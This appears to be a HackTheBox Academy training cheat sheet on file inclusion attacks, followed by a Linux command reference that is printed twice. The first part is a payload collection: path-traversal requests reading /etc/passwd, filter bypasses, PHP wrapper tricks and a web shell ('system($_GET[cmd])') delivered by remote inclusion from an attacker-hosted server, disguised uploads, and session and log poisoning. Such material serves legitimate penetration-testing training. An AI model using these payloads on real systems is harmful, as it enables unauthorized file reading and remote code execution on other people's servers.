HACKTHEBOX

FILE INCLUSION

CHEAT SHEET

Local File Inclusion

Basic LFI

Basic LFI:
```
/index.php?language=/etc/passwd
```

LFI with path traversal:
```
/index.php?language=../../../../etc/passwd
```

LFI with name prefix:
```
/index.php?language=/../../../etc/passwd
```

LFI with approved path:
```
/index.php?language=./languages/../../../../
etc/passwd
```

LFI Bypasses

Bypass basic path traversal filter:
```
/index.php?language=....//....//....//....//
etc/passwd
```

HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

Bypass filters with URL encoding:
```
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e
%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
```

Bypass appended extension with path truncation (obsolete):
```
/index.php?language=non_existing_directory/.
./../../etc/passwd/./././.[./ REPEATED ~2048
times]
```

Bypass appended extension with null byte (obsolete):
```
/index.php?language=../../../../etc/passwd%00
```

Read PHP with base64 filter:
```
/index.php?language=php://filter/read=convert
.base64-encode/resource=config
```

Remote Code Execution

PHP Wrappers

RCE with data wrapper:
```
/index.php?language=data://text/plain;base64
,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
```

HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

RCE with input wrapper:

```
curl -s -X POST --data '<?php system($_GET
["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/
index.php?language=php://input&cmd=id"
```

RCE with expect wrapper:

```
curl -s "http://<SERVER_IP>:<PORT>/
index.php?language=expect://id"
```

RFI

Host web shell:

```
echo '<?php system($_GET["cmd"]); ?>' >
shell.php && python3 -m http.server
<LISTENING_PORT>
```

Include remote PHP web shell:

```
/index.php?language=http://<OUR_IP>:<LISTENI
NG_PORT>/shell.php&cmd=id
```

LFI + Upload

Create malicious image:

```
echo 'GIF8<?php system($_GET["cmd"]); ?>' >
shell.gif
```

HTB ACADEMY CHEATSHEET
HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

RCE with malicious uploaded image:

```
/index.php?language=./profile_images/shell.gif&cmd=i
```

Create malicious zip archive 'as jpg':

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
```

RCE with malicious uploaded zip:

```
/index.php?language=zip://shell.zip%23shell.php&cmd=id
```

Create malicious phar 'as jpg':

```
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```

RCE with malicious uploaded phar:

```
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
```

Log Poisoning

Read PHP session parameters:

```
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
```

HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

Poison PHP session with web shell:
```
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
```

RCE through poisoned PHP session:
```
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
```

Poison server log:
```
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'
```

RCE through poisoned PHP session:
```
/index.php?language=/var/log/apache2/access.log&cmd=id
```

Misc

Fuzz page parameters:
```
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
```

HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

Fuzz LFI payloads:

```
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/
LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:
<PORT>/index.php?language=FUZZ' -fs 2287
```

Fuzz webroot path:

```
ffuf -w /opt/useful/SecLists/Discovery/
Web-Content/default-web-root-directory-linux
.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/
index.php?language=../../../../FUZZ/index.ph
p' -fs 2287
```

Fuzz server configurations:

```
ffuf -w ./LFI-WordList-Linux:FUZZ -u
'http://<SERVER_IP>:<PORT>/index.php?languag
e=../../../../FUZZ' -fs 2287
```

LFI Wordlists
LFI-Jhaddix.txt
Webroot path wordlist for Linux
Webroot path wordlist for Windows
Server configurations wordlist for Linux
Server configurations wordlist for Windows

HTB ACADEMY CHEATSHEET
HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

Misc

PHP

`include()/include_once()`
Read Content [Yes] - Execute [Yes] - Remote URL [Yes]

`require()/require_once()`
Read Content [Yes] - Execute [Yes] - Remote URL [No]

`file_get_contents()`
Read Content [Yes] - Execute [No] - Remote URL [Yes]

`fopen()/file()`
Read Content [Yes] - Execute [No] - Remote URL [No]

NodeJS

`fs.readFile()`
Read Content [Yes] - Execute [No] - Remote URL [No]

`fs.sendFile()`
Read Content [Yes] - Execute [No] - Remote URL [No]

HTB ACADEMY CHEATSHEET
HTB ACADEMY CHEATSHEET

HACKTHEBOX

FILE INCLUSION CHEAT SHEET

`res.render()`
Read Content [Yes] - Execute [Yes] - Remote URL [No]

Java

`include`
Read Content [Yes] - Execute [No] - Remote URL [No]

`import`
Read Content [Yes] - Execute [Yes] - Remote URL [Yes]

.NET

`@Html.Partial()`
Read Content [Yes] - Execute [No] - Remote URL [No]

`@Html.RemotePartial()`
Read Content [Yes] - Execute [No] - Remote URL [Yes]

`Response.WriteFile()`
Read Content [Yes] - Execute [No] - Remote URL [No]

`include`
Read Content [Yes] - Execute [Yes] - Remote URL [Yes]

HTB ACADEMY CHEATSHEET
HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS

CHEAT SHEET

Opens man pages for the specified tool: `man <tool>`

Prints the help page of the tool: `<tool> -h`

Searches through man pages' descriptions for instances of a given keyword: `apropos <keyword>`

Concatenate and print files: `cat`

Displays current username: `whoami`

Returns users identity: `id`

Sets or prints the name of the current host system `hostname`

Prints operating system name: `uname`

Returns working directory name: `pwd`

The ifconfig utility is used to assign or view an address to a network interface and/or configure network interface parameters: `ifconfig`

HTB ACADEMY CHEATSHEET

HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS

CHEAT SHEET

Ip is a utility to show or manipulate routing, network devices, interfaces, and tunnels: `ip`

Shows network status: `netstat`

Another utility to investigate sockets: `ss`

Shows process status: `ps`

Displays who is logged in: `who`

Prints environment or sets and executes a command: `env`

Lists block devices: `lsblk`

Lists USB devices: `lsusb`

Lists opened files: `lsof`

Lists PCI devices: `lspci`

Execute command as a different user: `sudo`

The su utility requests appropriate user credentials via PAM and switches to that user ID (the default user is the superuser). A shell is then executed: `su`

HTB ACADEMY CHEATSHEET
HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS

CHEAT SHEET

Creates a new user or update default new user information: `useradd`

Deletes a user account and related files: `userdel`

Modifies a user account: `usermod`

Adds a group to the system: `addgroup`

Removes a group from the system: `delgroup`

Changes user password: `passwd`

Install, remove and configure Debian-based packages: `dpkg`

High-level package management command-line utility: `apt`

Alternative to apt: `aptitude`

Install, remove and configure snap packages: `snap`

Standard package manager for Ruby: `gem`

Standard package manager for Python: `pip`

Revision control system command-line utility: `git`

Command-line based service and systemd control manager: `systemctl`

HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS

CHEAT SHEET

Prints a snapshot of the current processes: `ps`

Query the systemd journal: `journalctl`

Sends a signal to a process.: `kill`

Puts a process into background: `bg`

Lists all processes that are running in the background: `jobs`

Puts a process into the foreground: `fg`

Command-line utility to transfer data from or to a server: `curl`

An alternative to curl that downloads files from FTP or HTTP(s) server: `wget`

Starts a Python3 web server on TCP port 8000: `python3 -m http.server`

Lists directory contents: `ls`

Changes the directory: `cd`

Clears the terminal: `clear`

Creates an empty file: `touch`

HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS

CHEAT SHEET

Creates a directory: `mkdir`

Lists the contents of a directory recursively: `tree`

Move or rename files or directories: `mv`

Copy files or directories: `cp`

Terminal based text editor: `nano`

Returns the path to a file or link: `which`

Searches for files in a directory hierarchy: `find`

Updates the locale database for existing contents on the system: `updatedb`

Uses the locale database to find contents on the system: `locate`

Pager that is used to read STDOUT or files: `more`

An alternative to more with more features: `less`

HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS CHEAT SHEET

Prints the first ten lines of STDOUT or a file: `head`

Prints the last ten lines of STDOUT or a file: `tail`

Sorts the contents of STDOUT or a file: `sort`

Searches for specific results that contain given patterns: `grep`

Removes sections from each line of files: `cut`

Replaces certain characters: `tr`

Command-line based utility that formats its input into multiple columns: `column`

Pattern scanning and processing language: `awk`

A stream editor for filtering and transforming text: `sed`

Prints newline, word, and byte counts for a given input: `wc`

Changes permission of a file or directory: `chmod`

Changes the owner and group of a file or directory: `chown`

HTB ACADEMY CHEATSHEET
HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS

CHEAT SHEET

Opens man pages for the specified tool: `man <tool>`

Prints the help page of the tool: `<tool> -h`

Searches through man pages' descriptions for instances of a given keyword: `apropos <keyword>`

Concatenate and print files: `cat`

Displays current username: `whoami`

Returns users identity: `id`

Sets or prints the name of the current host system `hostname`

Prints operating system name: `uname`

Returns working directory name: `pwd`

The ifconfig utility is used to assign or view an address to a network interface and/or configure network interface parameters: `ifconfig`

HTB ACADEMY CHEATSHEET

HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS

CHEAT SHEET

Ip is a utility to show or manipulate routing, network devices, interfaces, and tunnels: `ip`

Shows network status: `netstat`

Another utility to investigate sockets: `ss`

Shows process status: `ps`

Displays who is logged in: `who`

Prints environment or sets and executes a command: `env`

Lists block devices: `lsblk`

Lists USB devices: `lsusb`

Lists opened files: `lsof`

Lists PCI devices: `lspci`

Execute command as a different user: `sudo`

The su utility requests appropriate user credentials via PAM and switches to that user ID (the default user is the superuser). A shell is then executed: `su`

HTB ACADEMY CHEATSHEET
HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS

CHEAT SHEET

Creates a new user or update default new user information: `useradd`

Deletes a user account and related files: `userdel`

Modifies a user account: `usermod`

Adds a group to the system: `addgroup`

Removes a group from the system: `delgroup`

Changes user password: `passwd`

Install, remove and configure Debian-based packages: `dpkg`

High-level package management command-line utility: `apt`

Alternative to apt: `aptitude`

Install, remove and configure snap packages: `snap`

Standard package manager for Ruby: `gem`

Standard package manager for Python: `pip`

Revision control system command-line utility: `git`

Command-line based service and systemd control manager: `systemctl`

HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS

CHEAT SHEET

Prints a snapshot of the current processes: `ps`

Query the systemd journal: `journalctl`

Sends a signal to a process.: `kill`

Puts a process into background: `bg`

Lists all processes that are running in the background: `jobs`

Puts a process into the foreground: `fg`

Command-line utility to transfer data from or to a server: `curl`

An alternative to curl that downloads files from FTP or HTTP(s) server: `wget`

Starts a Python3 web server on TCP port 8000: `python3 -m http.server`

Lists directory contents: `ls`

Changes the directory: `cd`

Clears the terminal: `clear`

Creates an empty file: `touch`

HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS

CHEAT SHEET

Creates a directory: `mkdir`

Lists the contents of a directory recursively: `tree`

Move or rename files or directories: `mv`

Copy files or directories: `cp`

Terminal based text editor: `nano`

Returns the path to a file or link: `which`

Searches for files in a directory hierarchy: `find`

Updates the locale database for existing contents on the system: `updatedb`

Uses the locale database to find contents on the system: `locate`

Pager that is used to read STDOUT or files: `more`

An alternative to more with more features: `less`

HTB ACADEMY CHEATSHEET

HACKTHEBOX

LINUX FUNDAMENTALS CHEAT SHEET

Prints the first ten lines of STDOUT or a file: `head`

Prints the last ten lines of STDOUT or a file: `tail`

Sorts the contents of STDOUT or a file: `sort`

Searches for specific results that contain given patterns: `grep`

Removes sections from each line of files: `cut`

Replaces certain characters: `tr`

Command-line based utility that formats its input into multiple columns: `column`

Pattern scanning and processing language: `awk`

A stream editor for filtering and transforming text: `sed`

Prints newline, word, and byte counts for a given input: `wc`

Changes permission of a file or directory: `chmod`

Changes the owner and group of a file or directory: `chown`

HTB ACADEMY CHEATSHEET
HTB ACADEMY CHEATSHEET